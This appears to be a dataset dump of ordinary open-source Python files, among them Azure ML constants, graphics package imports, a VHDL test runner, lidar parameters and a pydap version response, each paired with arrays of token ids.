[ 1, 1053, 12655, 408, 7442, 13, 13, 3166, 869, 29918, 3188, 1053, 19916, 22461, 4540, 5160, 13, 13, 13, 1990, 8037, 7031, 2455, 29898, 5072, 22461, 4540, 5160, 1125, 13, 1678, 9995, 13, 1678, 2431, 9514, 376, 10921, 2246, 3056, 29908, 21166, 310, 385, 1967, 304, 26371, 749, 805, 1862, 29889, 376, 21823, 2246, 3056, 21166, 29908, 14061, 805, 1862, 393, 526, 1716, 13, 1678, 7968, 322, 1506, 14643, 1135, 1009, 8388, 618, 886, 29889, 13, 13, 1678, 2823, 3115, 13, 1678, 448, 26589, 13, 1678, 2045, 597, 264, 29889, 6011, 29889, 990, 29914, 4594, 29914, 7031, 29899, 2455, 29918, 9067, 13, 1678, 9995, 13, 13, 1678, 822, 4770, 2344, 12035, 1311, 29892, 8086, 29918, 2311, 29892, 3579, 19290, 1125, 13, 4706, 9995, 4998, 310, 263, 4796, 2246, 3056, 18131, 5996, 11105, 292, 4175, 607, 11105, 29879, 3618, 7200, 1135, 421, 20960, 29918, 2311, 29952, 13, 13, 4706, 12662, 2699, 13, 4706, 448, 1378, 29899, 13, 4706, 8086, 29918, 2311, 584, 938, 13, 9651, 24235, 310, 278, 18131, 5996, 11105, 292, 8086, 297, 17036, 13, 13, 4706, 9995, 13, 4706, 1583, 29889, 20960, 29918, 2311, 353, 8086, 29918, 2311, 13, 13, 1678, 732, 1990, 5696, 13, 1678, 822, 788, 29918, 25699, 29898, 25932, 29892, 2318, 29918, 16680, 1125, 13, 4706, 2318, 29918, 16680, 29889, 1202, 29918, 23516, 29898, 13, 9651, 376, 489, 20960, 29899, 2311, 613, 2322, 29922, 29896, 29945, 29892, 1134, 29922, 524, 29892, 1371, 543, 29881, 2829, 1308, 310, 18131, 5996, 11105, 292, 8086, 297, 17036, 1159, 13, 13, 1678, 822, 4175, 29898, 1311, 29892, 5096, 29897, 1599, 6213, 29901, 13, 4706, 9995, 5894, 689, 297, 29899, 6689, 21166, 310, 385, 1967, 5096, 322, 599, 11122, 3479, 4558, 13, 13, 4706, 12662, 2699, 13, 4706, 448, 1378, 29899, 13, 4706, 5096, 584, 5810, 15161, 29889, 7264, 13, 9651, 10292, 304, 367, 22289, 13, 13, 4706, 9995, 13, 4706, 515, 4560, 2272, 29889, 299, 3027, 29889, 26705, 1053, 7472, 29918, 4572, 29892, 9212, 29918, 4572, 13, 4706, 515, 2071, 3027, 29889, 29885, 5676, 3002, 1053, 8086, 13, 13, 4706, 822, 4796, 29918, 3332, 2455, 29898, 3027, 1125, 13, 9651, 565, 1967, 29889, 29881, 1853, 29889, 14380, 2804, 376, 29884, 1115, 13, 18884, 12020, 20948, 703, 8346, 881, 367, 6087, 297, 385, 12780, 6043, 1409, 1159, 13, 9651, 2281, 3864, 29918, 5029, 353, 8086, 29898, 1311, 29889, 20960, 29918, 2311, 29897, 13, 9651, 1375, 29918, 4572, 287, 353, 9212, 29918, 4572, 29898, 3027, 29892, 3661, 2158, 29922, 4984, 3864, 29918, 5029, 29897, 13, 9651, 4236, 29918, 4572, 287, 353, 7472, 29918, 4572, 29898, 1195, 29918, 4572, 287, 29892, 3661, 2158, 29922, 4984, 3864, 29918, 5029, 29897, 13, 9651, 22289, 29918, 3027, 353, 1967, 448, 7442, 29889, 1195, 12539, 29898, 3027, 29892, 4236, 29918, 4572, 287, 29897, 13, 9651, 736, 22289, 29918, 3027, 13, 13, 4706, 5096, 29889, 3027, 29889, 7302, 29898, 10921, 29918, 3332, 2455, 29897, 13, 13, 4706, 396, 3394, 304, 3479, 9657, 2086, 29889, 13, 4706, 363, 29587, 653, 29918, 3027, 297, 5096, 29889, 2993, 2638, 653, 29918, 8346, 29889, 5975, 7295, 13, 9651, 29587, 653, 29918, 3027, 29889, 7302, 29898, 10921, 29918, 3332, 2455, 29897, 13, 2 ]
venv/lib/python3.8/site-packages/azureml/_model_management/_constants.py
amcclead7336/Enterprise_Data_Science_Final
0
144786
<reponame>amcclead7336/Enterprise_Data_Science_Final # --------------------------------------------------------- # Copyright (c) Microsoft Corporation. All rights reserved. # --------------------------------------------------------- MMS_WORKSPACE_API_VERSION = '2018-11-19' MMS_ROUTE_API_VERSION = 'v1.0' MMS_SYNC_TIMEOUT_SECONDS = 80 MMS_SERVICE_VALIDATE_OPERATION_TIMEOUT_SECONDS = 30 MMS_SERVICE_EXIST_CHECK_SYNC_TIMEOUT_SECONDS = 5 MMS_RESOURCE_CHECK_SYNC_TIMEOUT_SECONDS = 15 SUPPORTED_RUNTIMES = { 'spark-py': 'SparkPython', 'python': 'Python', 'python-slim': 'PythonSlim' } UNDOCUMENTED_RUNTIMES = ['python-slim'] CUSTOM_BASE_IMAGE_SUPPORTED_RUNTIMES = { 'python': 'PythonCustom' } WORKSPACE_RP_API_VERSION = '2019-06-01' MAX_HEALTH_CHECK_TRIES = 30 HEALTH_CHECK_INTERVAL_SECONDS = 1 DOCKER_IMAGE_TYPE = "Docker" UNKNOWN_IMAGE_TYPE = "Unknown" WEBAPI_IMAGE_FLAVOR = "WebApiContainer" ACCEL_IMAGE_FLAVOR = "AccelContainer" IOT_IMAGE_FLAVOR = "IoTContainer" UNKNOWN_IMAGE_FLAVOR = "Unknown" CLOUD_DEPLOYABLE_IMAGE_FLAVORS = [WEBAPI_IMAGE_FLAVOR, ACCEL_IMAGE_FLAVOR] SUPPORTED_CUDA_VERSIONS = ["9.0", "9.1", "10.0"] ARCHITECTURE_AMD64 = "amd64" ARCHITECTURE_ARM32V7 = "arm32v7" ACI_WEBSERVICE_TYPE = "ACI" AKS_WEBSERVICE_TYPE = "AKS" AKS_ENDPOINT_TYPE = "AKSENDPOINT" SERVICE_REQUEST_OPERATION_CREATE = "Create" SERVICE_REQUEST_OPERATION_UPDATE = "Update" SERVICE_REQUEST_OPERATION_DELETE = "Delete" AKS_ENDPOINT_DELETE_VERSION = "deleteversion" AKS_ENDPOINT_CREATE_VERSION = "createversion" AKS_ENDPOINT_UPDATE_VERSION = "updateversion" COMPUTE_TYPE_KEY = "computeType" LOCAL_WEBSERVICE_TYPE = "Local" UNKNOWN_WEBSERVICE_TYPE = "Unknown" CLI_METADATA_FILE_WORKSPACE_KEY = 'workspaceName' CLI_METADATA_FILE_RG_KEY = 'resourceGroupName' MODEL_METADATA_FILE_ID_KEY = 'modelId' IMAGE_METADATA_FILE_ID_KEY = 'imageId' DOCKER_IMAGE_HTTP_PORT = 5001 DOCKER_IMAGE_MQTT_PORT = 8883 RUN_METADATA_EXPERIMENT_NAME_KEY = '_experiment_name' RUN_METADATA_RUN_ID_KEY = 'run_id' PROFILE_METADATA_CPU_KEY = "cpu" PROFILE_METADATA_MEMORY_KEY = "memoryInGB" PROFILE_PARTIAL_SUCCESS_MESSAGE = 'Model Profiling operation completed, but encountered issues ' +\ 'during execution: %s Inspect ModelProfile.error property for more information.' PROFILE_FAILURE_MESSAGE = 'Model Profiling operation failed with the following error: %s Request ID: %s. ' +\ 'Inspect ModelProfile.error property for more information.' DATASET_SNAPSHOT_ID_FORMAT = '/datasetId/{dataset_id}/datasetSnapshotName/{dataset_snapshot_name}' DOCKER_IMAGE_APP_ROOT_DIR = '/var/azureml-app' IOT_WEBSERVICE_TYPE = "IOT" MIR_WEBSERVICE_TYPE = "MIR" MODEL_PACKAGE_ASSETS_DIR = 'azureml-app' MODEL_PACKAGE_MODELS_DIR = 'azureml-models' # Kubernetes namespaces must be valid lowercase DNS labels. # Ref: https://github.com/kubernetes/community/blob/master/contributors/design-proposals/architecture/identifiers.md NAMESPACE_REGEX = '^[a-z0-9]([a-z0-9-]{,61}[a-z0-9])?$' WEBSERVICE_SCORE_PATH = '/score' WEBSERVICE_SWAGGER_PATH = '/swagger.json' ALL_WEBSERVICE_TYPES = [ACI_WEBSERVICE_TYPE, AKS_ENDPOINT_TYPE, AKS_WEBSERVICE_TYPE, IOT_WEBSERVICE_TYPE, MIR_WEBSERVICE_TYPE] HOW_TO_USE_ENVIRONMENTS_DOC_URL = "https://docs.microsoft.com/azure/machine-learning/how-to-use-environments" # Blob storage allows 10 minutes/megabyte. Add a bit for overhead, and to make sure we don't give up first. # Ref: https://docs.microsoft.com/en-us/rest/api/storageservices/setting-timeouts-for-blob-service-operations ASSET_ARTIFACTS_UPLOAD_TIMEOUT_SECONDS_PER_BYTE = 1.1 * (10 * 60) / (1000 * 1000)
[ 1, 529, 276, 1112, 420, 29958, 314, 617, 280, 328, 29955, 29941, 29941, 29953, 29914, 10399, 7734, 29918, 1469, 29918, 29903, 15277, 29918, 15790, 13, 29937, 448, 2683, 2683, 2683, 1378, 30004, 13, 29937, 14187, 1266, 313, 29883, 29897, 7783, 15025, 29889, 2178, 10462, 21676, 22993, 13, 29937, 448, 2683, 2683, 2683, 1378, 30004, 13, 30004, 13, 29924, 4345, 29918, 11686, 29968, 5550, 11538, 29918, 8787, 29918, 16358, 353, 525, 29906, 29900, 29896, 29947, 29899, 29896, 29896, 29899, 29896, 29929, 29915, 30004, 13, 29924, 4345, 29918, 1672, 26027, 29918, 8787, 29918, 16358, 353, 525, 29894, 29896, 29889, 29900, 29915, 30004, 13, 29924, 4345, 29918, 14816, 15868, 29918, 15307, 12015, 29918, 1660, 6007, 8452, 353, 29871, 29947, 29900, 30004, 13, 29924, 4345, 29918, 6304, 19059, 29918, 26707, 3040, 29918, 4590, 1001, 8098, 29918, 15307, 12015, 29918, 1660, 6007, 8452, 353, 29871, 29941, 29900, 30004, 13, 29924, 4345, 29918, 6304, 19059, 29918, 5746, 9047, 29918, 3210, 16658, 29918, 14816, 15868, 29918, 15307, 12015, 29918, 1660, 6007, 8452, 353, 29871, 29945, 30004, 13, 29924, 4345, 29918, 1525, 27839, 4741, 29918, 3210, 16658, 29918, 14816, 15868, 29918, 15307, 12015, 29918, 1660, 6007, 8452, 353, 29871, 29896, 29945, 30004, 13, 29903, 4897, 15082, 3352, 29918, 29934, 10356, 8890, 29903, 353, 3336, 13, 1678, 525, 12597, 29899, 2272, 2396, 525, 29903, 6378, 11980, 23592, 13, 1678, 525, 4691, 2396, 525, 11980, 23592, 13, 1678, 525, 4691, 29899, 2536, 326, 2396, 525, 11980, 29903, 2576, 29915, 30004, 13, 8117, 13, 18783, 20166, 5005, 3919, 3352, 29918, 29934, 10356, 8890, 29903, 353, 6024, 4691, 29899, 2536, 326, 2033, 30004, 13, 29907, 17321, 6488, 29918, 25416, 29918, 2382, 29918, 29903, 4897, 15082, 3352, 29918, 29934, 10356, 8890, 29903, 353, 3336, 13, 1678, 525, 4691, 2396, 525, 11980, 7281, 29915, 30004, 13, 8117, 13, 11686, 29968, 5550, 11538, 29918, 29934, 29925, 29918, 8787, 29918, 16358, 353, 525, 29906, 29900, 29896, 29929, 29899, 29900, 29953, 29899, 29900, 29896, 29915, 30004, 13, 12648, 29918, 9606, 1964, 4690, 29918, 3210, 16658, 29918, 29911, 3960, 2890, 353, 29871, 29941, 29900, 30004, 13, 9606, 1964, 4690, 29918, 3210, 16658, 29918, 23845, 8932, 29918, 1660, 6007, 8452, 353, 29871, 29896, 30004, 13, 3970, 7077, 1001, 29918, 2382, 29918, 11116, 353, 376, 29928, 8658, 19451, 13, 3904, 29968, 6632, 16048, 29918, 2382, 29918, 11116, 353, 376, 14148, 19451, 13, 8851, 5688, 2227, 29918, 2382, 29918, 18823, 29963, 1955, 353, 376, 3609, 11713, 7895, 19451, 13, 2477, 4741, 29931, 29918, 2382, 29918, 18823, 29963, 1955, 353, 376, 7504, 295, 7895, 19451, 13, 29902, 2891, 29918, 2382, 29918, 18823, 29963, 1955, 353, 376, 29902, 29877, 29911, 7895, 19451, 13, 3904, 29968, 6632, 16048, 29918, 2382, 29918, 18823, 29963, 1955, 353, 376, 14148, 19451, 13, 29907, 3927, 15789, 29918, 2287, 29925, 3927, 29979, 6181, 29918, 2382, 29918, 18823, 29963, 24125, 353, 518, 8851, 5688, 2227, 29918, 2382, 29918, 18823, 29963, 1955, 29892, 319, 4174, 6670, 29918, 2382, 29918, 18823, 29963, 1955, 29962, 30004, 13, 29903, 4897, 15082, 3352, 29918, 29907, 29965, 7698, 29918, 16358, 29903, 353, 6796, 29929, 29889, 29900, 613, 376, 29929, 29889, 29896, 613, 376, 29896, 29900, 29889, 29900, 3108, 30004, 13, 1718, 3210, 9094, 1783, 11499, 29918, 5194, 29928, 29953, 29946, 353, 376, 22490, 29953, 29946, 19451, 13, 1718, 3210, 9094, 1783, 11499, 29918, 1718, 29924, 29941, 29906, 29963, 29955, 353, 376, 2817, 29941, 29906, 29894, 29955, 19451, 13, 2477, 29902, 29918, 8851, 29933, 6304, 19059, 29918, 11116, 353, 376, 2477, 29902, 19451, 13, 29909, 17557, 29918, 8851, 29933, 6304, 19059, 29918, 11116, 353, 376, 29909, 17557, 19451, 13, 29909, 17557, 29918, 1430, 11191, 6992, 29911, 29918, 11116, 353, 376, 29909, 17557, 1430, 11191, 6992, 29911, 19451, 13, 6304, 19059, 29918, 16244, 29918, 4590, 1001, 8098, 29918, 27045, 353, 376, 4391, 19451, 13, 6304, 19059, 29918, 16244, 29918, 4590, 1001, 8098, 29918, 14474, 353, 376, 6422, 19451, 13, 6304, 19059, 29918, 16244, 29918, 4590, 1001, 8098, 29918, 2287, 18476, 353, 376, 12498, 19451, 13, 29909, 17557, 29918, 1430, 11191, 6992, 29911, 29918, 2287, 18476, 29918, 16358, 353, 376, 8143, 3259, 19451, 13, 29909, 17557, 29918, 1430, 11191, 6992, 29911, 29918, 27045, 29918, 16358, 353, 376, 3258, 3259, 19451, 13, 29909, 17557, 29918, 1430, 11191, 6992, 29911, 29918, 14474, 29918, 16358, 353, 376, 5504, 3259, 19451, 13, 21514, 26027, 29918, 11116, 29918, 10818, 353, 376, 26017, 1542, 19451, 13, 16652, 1964, 29918, 8851, 29933, 6304, 19059, 29918, 11116, 353, 376, 7717, 19451, 13, 3904, 29968, 6632, 16048, 29918, 8851, 29933, 6304, 19059, 29918, 11116, 353, 376, 14148, 19451, 13, 27205, 29918, 2303, 29911, 3035, 8254, 29918, 7724, 29918, 11686, 29968, 5550, 11538, 29918, 10818, 353, 525, 1287, 3493, 1170, 29915, 30004, 13, 27205, 29918, 2303, 29911, 3035, 8254, 29918, 7724, 29918, 29934, 29954, 29918, 10818, 353, 525, 10314, 4782, 1170, 29915, 30004, 13, 20387, 29931, 29918, 2303, 29911, 3035, 8254, 29918, 7724, 29918, 1367, 29918, 10818, 353, 525, 4299, 1204, 29915, 30004, 13, 2382, 29918, 2303, 29911, 3035, 8254, 29918, 7724, 29918, 1367, 29918, 10818, 353, 525, 3027, 1204, 29915, 30004, 13, 3970, 7077, 1001, 29918, 2382, 29918, 10493, 29918, 15082, 353, 29871, 29945, 29900, 29900, 29896, 30004, 13, 3970, 7077, 1001, 29918, 2382, 29918, 25566, 19988, 29918, 15082, 353, 29871, 29947, 29947, 29947, 29941, 30004, 13, 29934, 3904, 29918, 2303, 29911, 3035, 8254, 29918, 5746, 13171, 7833, 3919, 29918, 5813, 29918, 10818, 353, 22868, 735, 15362, 29918, 978, 29915, 30004, 13, 29934, 3904, 29918, 2303, 29911, 3035, 8254, 29918, 29934, 3904, 29918, 1367, 29918, 10818, 353, 525, 3389, 29918, 333, 29915, 30004, 13, 8618, 7724, 29918, 2303, 29911, 3035, 8254, 29918, 6271, 29965, 29918, 10818, 353, 376, 21970, 19451, 13, 8618, 7724, 29918, 2303, 29911, 3035, 8254, 29918, 2303, 29924, 18929, 29918, 10818, 353, 376, 14834, 797, 7210, 19451, 13, 8618, 7724, 29918, 26092, 25758, 29918, 14605, 26925, 29918, 2303, 1799, 10461, 353, 525, 3195, 23202, 292, 5858, 8676, 29892, 541, 18169, 5626, 525, 17501, 30004, 13, 462, 462, 29871, 525, 29881, 3864, 8225, 29901, 1273, 29879, 13377, 1103, 8125, 13909, 29889, 2704, 2875, 363, 901, 2472, 6169, 30004, 13, 8618, 7724, 29918, 4519, 6227, 11499, 29918, 2303, 1799, 10461, 353, 525, 3195, 23202, 292, 5858, 5229, 411, 278, 1494, 1059, 29901, 1273, 29879, 10729, 3553, 29901, 1273, 29879, 29889, 525, 17501, 30004, 13, 462, 3986, 525, 797, 21494, 8125, 13909, 29889, 2704, 2875, 363, 901, 2472, 6169, 30004, 13, 25832, 8127, 29911, 29918, 19296, 3301, 7068, 2891, 29918, 1367, 29918, 19094, 1299, 353, 8207, 24713, 1204, 19248, 24713, 29918, 333, 6822, 24713, 21913, 1170, 19248, 24713, 29918, 29879, 14551, 29918, 978, 10162, 30004, 13, 3970, 7077, 1001, 29918, 2382, 29918, 20576, 29918, 21289, 29918, 9464, 353, 8207, 1707, 29914, 17688, 828, 29899, 932, 29915, 30004, 13, 29902, 2891, 29918, 8851, 29933, 6304, 19059, 29918, 11116, 353, 376, 29902, 2891, 19451, 13, 29924, 8193, 29918, 8851, 29933, 6304, 19059, 29918, 11116, 353, 376, 29924, 8193, 19451, 13, 20387, 29931, 29918, 29925, 11375, 10461, 29918, 3289, 1660, 9375, 29918, 9464, 353, 525, 17688, 828, 29899, 932, 29915, 30004, 13, 20387, 29931, 29918, 29925, 11375, 10461, 29918, 20387, 8547, 29918, 9464, 353, 525, 17688, 828, 29899, 9794, 29915, 30004, 13, 29937, 476, 17547, 2983, 22459, 1818, 367, 2854, 5224, 4878, 16332, 11073, 22993, 13, 29937, 9897, 29901, 2045, 597, 3292, 29889, 510, 29914, 29895, 17547, 29914, 23834, 29914, 10054, 29914, 6207, 29914, 21570, 29560, 29914, 13892, 29899, 771, 1066, 1338, 29914, 25428, 29914, 1693, 14903, 29889, 3487, 30004, 13, 5813, 5550, 11538, 29918, 1525, 1692, 29990, 353, 525, 29985, 29961, 29874, 29899, 29920, 29900, 29899, 29929, 850, 29961, 29874, 29899, 29920, 29900, 29899, 29929, 29899, 3199, 29892, 29953, 29896, 4400, 29874, 29899, 29920, 29900, 29899, 29929, 2314, 29973, 29938, 29915, 30004, 13, 8851, 29933, 6304, 19059, 29918, 29903, 3217, 1525, 29918, 10145, 353, 8207, 13628, 29915, 30004, 13, 8851, 29933, 6304, 19059, 29918, 23066, 10051, 17070, 29918, 10145, 353, 8207, 2774, 9921, 29889, 3126, 29915, 30004, 13, 9818, 29918, 8851, 29933, 6304, 19059, 29918, 15631, 29925, 2890, 353, 518, 2477, 29902, 29918, 8851, 29933, 6304, 19059, 29918, 11116, 29892, 319, 17557, 29918, 1430, 11191, 6992, 29911, 29918, 11116, 29892, 319, 17557, 29918, 8851, 29933, 6304, 19059, 29918, 11116, 29892, 306, 2891, 29918, 8851, 29933, 6304, 19059, 29918, 11116, 11167, 13, 462, 4706, 341, 8193, 29918, 8851, 29933, 6304, 19059, 29918, 11116, 29962, 30004, 13, 8187, 29956, 29918, 4986, 29918, 17171, 29918, 25838, 8193, 1164, 13780, 29903, 29918, 28665, 29918, 4219, 353, 376, 991, 597, 2640, 29889, 4994, 29889, 510, 29914, 17688, 29914, 23523, 29899, 21891, 29914, 3525, 29899, 517, 29899, 1509, 29899, 21813, 1860, 19451, 13, 30004, 13, 29937, 350, 2127, 8635, 6511, 29871, 29896, 29900, 6233, 29914, 29885, 387, 10798, 371, 29889, 3462, 263, 2586, 363, 18702, 29892, 322, 304, 1207, 1854, 591, 1016, 29915, 29873, 2367, 701, 937, 22993, 13, 29937, 9897, 29901, 2045, 597, 2640, 29889, 4994, 29889, 510, 29914, 264, 29899, 375, 29914, 5060, 29914, 2754, 29914, 28957, 1179, 6972, 1575, 29914, 26740, 29899, 15619, 29879, 29899, 1454, 29899, 10054, 29899, 5509, 29899, 3372, 800, 30004, 13, 3289, 10490, 29918, 8322, 29902, 4519, 1783, 29903, 29918, 4897, 29428, 29918, 15307, 12015, 29918, 1660, 6007, 8452, 29918, 13171, 29918, 22716, 4330, 353, 29871, 29896, 29889, 29896, 334, 313, 29896, 29900, 334, 29871, 29953, 29900, 29897, 847, 313, 29896, 29900, 29900, 29900, 334, 29871, 29896, 29900, 29900, 29900, 8443, 13, 2 ]
nezzle/graphics/__init__.py
dwgoon/nezzle
2
118518
<filename>nezzle/graphics/__init__.py<gh_stars>1-10 from nezzle.graphics.baseitem import MappableGraphicsItem from nezzle.graphics.baseitem import PainterOptionItem from nezzle.graphics.nodes.nodefactory import NodeClassFactory from nezzle.graphics.nodes.basenode import BaseNode from nezzle.graphics.nodes.ellipsenode import EllipseNode from nezzle.graphics.nodes.ellipsenode import CircleNode from nezzle.graphics.nodes.rectanglenode import RectangleNode from nezzle.graphics.arrows.arrowclassfactory import ArrowClassFactory from nezzle.graphics.arrows.basearrow import Triangle from nezzle.graphics.arrows.basearrow import Hammer from nezzle.graphics.edges.edgefactory import EdgeClassFactory from nezzle.graphics.edges.baseedge import BaseEdge from nezzle.graphics.edges.straightedge import StraightEdge from nezzle.graphics.edges.curvededge import CurvedEdge from nezzle.graphics.edges.elbowedge import VerticalElbowEdge from nezzle.graphics.edges.elbowedge import HorizontalElbowEdge from nezzle.graphics.edges.selfloopedge import SelfloopEdge from nezzle.graphics.labels.labelfactory import LabelClassFactory from nezzle.graphics.labels.textlabel import TextLabel from nezzle.graphics.network import Network from nezzle.graphics.screen import GraphicsScene from nezzle.graphics.screen import GraphicsView
[ 1, 529, 9507, 29958, 484, 5617, 280, 29914, 6420, 29914, 1649, 2344, 26914, 2272, 29966, 12443, 29918, 303, 1503, 29958, 29896, 29899, 29896, 29900, 13, 3166, 452, 5617, 280, 29889, 6420, 29889, 3188, 667, 1053, 341, 932, 519, 17290, 2001, 13, 3166, 452, 5617, 280, 29889, 6420, 29889, 3188, 667, 1053, 349, 475, 357, 8375, 2001, 13, 3166, 452, 5617, 280, 29889, 6420, 29889, 18010, 29889, 3177, 14399, 1053, 9071, 2385, 5126, 13, 3166, 452, 5617, 280, 29889, 6420, 29889, 18010, 29889, 6500, 264, 356, 1053, 7399, 4247, 13, 3166, 452, 5617, 280, 29889, 6420, 29889, 18010, 29889, 5481, 567, 264, 356, 1053, 1260, 5843, 4247, 13, 3166, 452, 5617, 280, 29889, 6420, 29889, 18010, 29889, 5481, 567, 264, 356, 1053, 27927, 4247, 13, 3166, 452, 5617, 280, 29889, 6420, 29889, 18010, 29889, 1621, 574, 2435, 356, 1053, 22914, 2521, 4247, 13, 3166, 452, 5617, 280, 29889, 6420, 29889, 2936, 29879, 29889, 2936, 1990, 14399, 1053, 826, 798, 2385, 5126, 13, 3166, 452, 5617, 280, 29889, 6420, 29889, 2936, 29879, 29889, 3188, 2936, 1053, 8602, 2521, 13, 3166, 452, 5617, 280, 29889, 6420, 29889, 2936, 29879, 29889, 3188, 2936, 1053, 7904, 1050, 13, 3166, 452, 5617, 280, 29889, 6420, 29889, 287, 2710, 29889, 12864, 14399, 1053, 21086, 2385, 5126, 13, 3166, 452, 5617, 280, 29889, 6420, 29889, 287, 2710, 29889, 3188, 12864, 1053, 7399, 23894, 13, 3166, 452, 5617, 280, 29889, 6420, 29889, 287, 2710, 29889, 4151, 523, 12864, 1053, 7357, 523, 23894, 13, 3166, 452, 5617, 280, 29889, 6420, 29889, 287, 2710, 29889, 2764, 1490, 12864, 1053, 10837, 1490, 23894, 13, 3166, 452, 5617, 280, 29889, 6420, 29889, 287, 2710, 29889, 295, 17729, 12864, 1053, 11198, 936, 6489, 17729, 23894, 13, 3166, 452, 5617, 280, 29889, 6420, 29889, 287, 2710, 29889, 295, 17729, 12864, 1053, 6912, 7731, 6489, 17729, 23894, 13, 3166, 452, 5617, 280, 29889, 6420, 29889, 287, 2710, 29889, 1311, 7888, 12864, 1053, 21782, 7888, 23894, 13, 3166, 452, 5617, 280, 29889, 6420, 29889, 21134, 29889, 8205, 761, 3832, 1053, 15796, 2385, 5126, 13, 3166, 452, 5617, 280, 29889, 6420, 29889, 21134, 29889, 726, 1643, 1053, 3992, 4775, 13, 3166, 452, 5617, 280, 29889, 6420, 29889, 11618, 1053, 8527, 13, 3166, 452, 5617, 280, 29889, 6420, 29889, 10525, 1053, 29247, 23472, 13, 3166, 452, 5617, 280, 29889, 6420, 29889, 10525, 1053, 29247, 1043, 13, 2 ]
mbc1b/hdl/run.py
Gekkio/sm83-research
8
185289
<gh_stars>1-10 #!/usr/bin/env python3 # SPDX-FileCopyrightText: 2022 <NAME> <<EMAIL>> # # SPDX-License-Identifier: MIT OR Apache-2.0 from vunit import VUnit import toml source_files = [ 'cells/*.vhd', 'generated/*.vhd', 'mbc1b_tb.vhd', ] ui = VUnit.from_argv() ui.enable_location_preprocessing() ui.enable_check_preprocessing() lib = ui.add_library("mbc1b") lib.add_source_files(source_files) def create_vhdl_ls_config(f, source_files): libraries = {} for file in ui.get_source_files(allow_empty = True): files = libraries.setdefault(f'{file.library.name}', {'files': []}) files['files'].append(file.name) libraries['mbc1b'] = {'files': source_files} toml.dump({'libraries': libraries}, f) with open('vhdl_ls.toml', mode='w') as f: create_vhdl_ls_config(f, source_files) ui.main()
[ 1, 529, 12443, 29918, 303, 1503, 29958, 29896, 29899, 29896, 29900, 13, 29937, 14708, 4855, 29914, 2109, 29914, 6272, 3017, 29941, 13, 13, 29937, 10937, 29928, 29990, 29899, 2283, 11882, 1266, 1626, 29901, 29871, 29906, 29900, 29906, 29906, 529, 5813, 29958, 3532, 26862, 6227, 6778, 13, 29937, 13, 29937, 10937, 29928, 29990, 29899, 29931, 293, 1947, 29899, 12889, 29901, 341, 1806, 6323, 13380, 29899, 29906, 29889, 29900, 13, 13, 3166, 325, 5441, 1053, 478, 8325, 13, 5215, 6454, 29880, 13, 13, 4993, 29918, 5325, 353, 518, 13, 1678, 525, 3729, 29879, 5515, 29889, 29894, 16440, 742, 13, 1678, 525, 13525, 5515, 29889, 29894, 16440, 742, 13, 1678, 525, 8337, 29883, 29896, 29890, 29918, 22625, 29889, 29894, 16440, 742, 13, 29962, 13, 13, 1481, 353, 478, 8325, 29889, 3166, 29918, 19218, 580, 13, 1481, 29889, 12007, 29918, 5479, 29918, 1457, 19170, 580, 13, 1481, 29889, 12007, 29918, 3198, 29918, 1457, 19170, 580, 13, 13, 1982, 353, 14313, 29889, 1202, 29918, 5258, 703, 8337, 29883, 29896, 29890, 1159, 13, 1982, 29889, 1202, 29918, 4993, 29918, 5325, 29898, 4993, 29918, 5325, 29897, 13, 13, 1753, 1653, 29918, 29894, 29882, 11671, 29918, 3137, 29918, 2917, 29898, 29888, 29892, 2752, 29918, 5325, 1125, 13, 1678, 9562, 353, 6571, 13, 1678, 363, 934, 297, 14313, 29889, 657, 29918, 4993, 29918, 5325, 29898, 9536, 29918, 6310, 353, 5852, 1125, 13, 4706, 2066, 353, 9562, 29889, 842, 4381, 29898, 29888, 29915, 29912, 1445, 29889, 5258, 29889, 978, 29913, 742, 11117, 5325, 2396, 5159, 1800, 13, 4706, 2066, 1839, 5325, 13359, 4397, 29898, 1445, 29889, 978, 29897, 13, 13, 1678, 9562, 1839, 8337, 29883, 29896, 29890, 2033, 353, 11117, 5325, 2396, 2752, 29918, 5325, 29913, 13, 1678, 6454, 29880, 29889, 15070, 3319, 29915, 492, 8464, 2396, 9562, 1118, 285, 29897, 13, 13, 2541, 1722, 877, 29894, 29882, 11671, 29918, 3137, 29889, 15135, 29880, 742, 4464, 2433, 29893, 1495, 408, 285, 29901, 13, 1678, 1653, 29918, 29894, 29882, 11671, 29918, 3137, 29918, 2917, 29898, 29888, 29892, 2752, 29918, 5325, 29897, 13, 13, 1481, 29889, 3396, 580, 13, 2 ]
inqbus.lidar.components/src/inqbus/lidar/components/params.py
sandrarum/inqbus.lidar
0
152970
<reponame>sandrarum/inqbus.lidar # Params change with every run of the application and will be changed by the UI MEASUREMENT_ID = '' COMMENT = 'preliminary data' SONDE_NAME = '2015083012lin.txt' OVL_FILES = ['15083000_607.dat'] POLLY_FILES = ['2015_05_01_Fri_DWD_00_03_31.nc']
[ 1, 529, 276, 1112, 420, 29958, 29879, 392, 13678, 398, 29914, 262, 29939, 8262, 29889, 29880, 333, 279, 13, 29937, 1459, 2232, 1735, 411, 1432, 1065, 310, 278, 2280, 322, 674, 367, 3939, 491, 278, 3740, 13, 13, 2303, 3289, 11499, 13780, 29918, 1367, 353, 6629, 13, 3217, 7428, 3919, 353, 525, 1457, 2576, 3821, 848, 29915, 13, 3094, 2287, 29918, 5813, 353, 525, 29906, 29900, 29896, 29945, 29900, 29947, 29941, 29900, 29896, 29906, 1915, 29889, 3945, 29915, 13, 13, 29949, 29963, 29931, 29918, 24483, 353, 6024, 29896, 29945, 29900, 29947, 29941, 29900, 29900, 29900, 29918, 29953, 29900, 29955, 29889, 4130, 2033, 13, 13, 13152, 2208, 29979, 29918, 24483, 353, 6024, 29906, 29900, 29896, 29945, 29918, 29900, 29945, 29918, 29900, 29896, 29918, 27034, 29918, 29928, 24668, 29918, 29900, 29900, 29918, 29900, 29941, 29918, 29941, 29896, 29889, 17608, 2033, 13, 2 ]
src/pydap/responses/version.py
Juanlu001/pydap
83
94532
<reponame>Juanlu001/pydap<filename>src/pydap/responses/version.py """Response with information about pydap version.""" import sys from six import text_type from webob import Response from json import dumps from pkg_resources import iter_entry_points from ..lib import __version__, __dap__ class VersionResponse(object): """A specialized response for debugging. This is a special response used to display information about the server. """ __version__ = __version__ def __init__(self, dataset): output = { "pydap": __version__, "dap": __dap__, "handlers": dict( (ep.name, getattr(ep.load(), "__version__", "Unknown")) for ep in iter_entry_points("pydap.handler") ), "responses": dict( (ep.name, getattr(ep.load(), "__version__", "Unknown")) for ep in iter_entry_points("pydap.response") ), "functions": dict( (ep.name, getattr(ep.load(), "__version__", "Unknown")) for ep in iter_entry_points("pydap.function") ), "python": sys.version, } self.body = dumps(output, indent=4) def __call__(self, environ, start_response): res = Response() res.text = text_type(self.body) res.status = '200 OK' 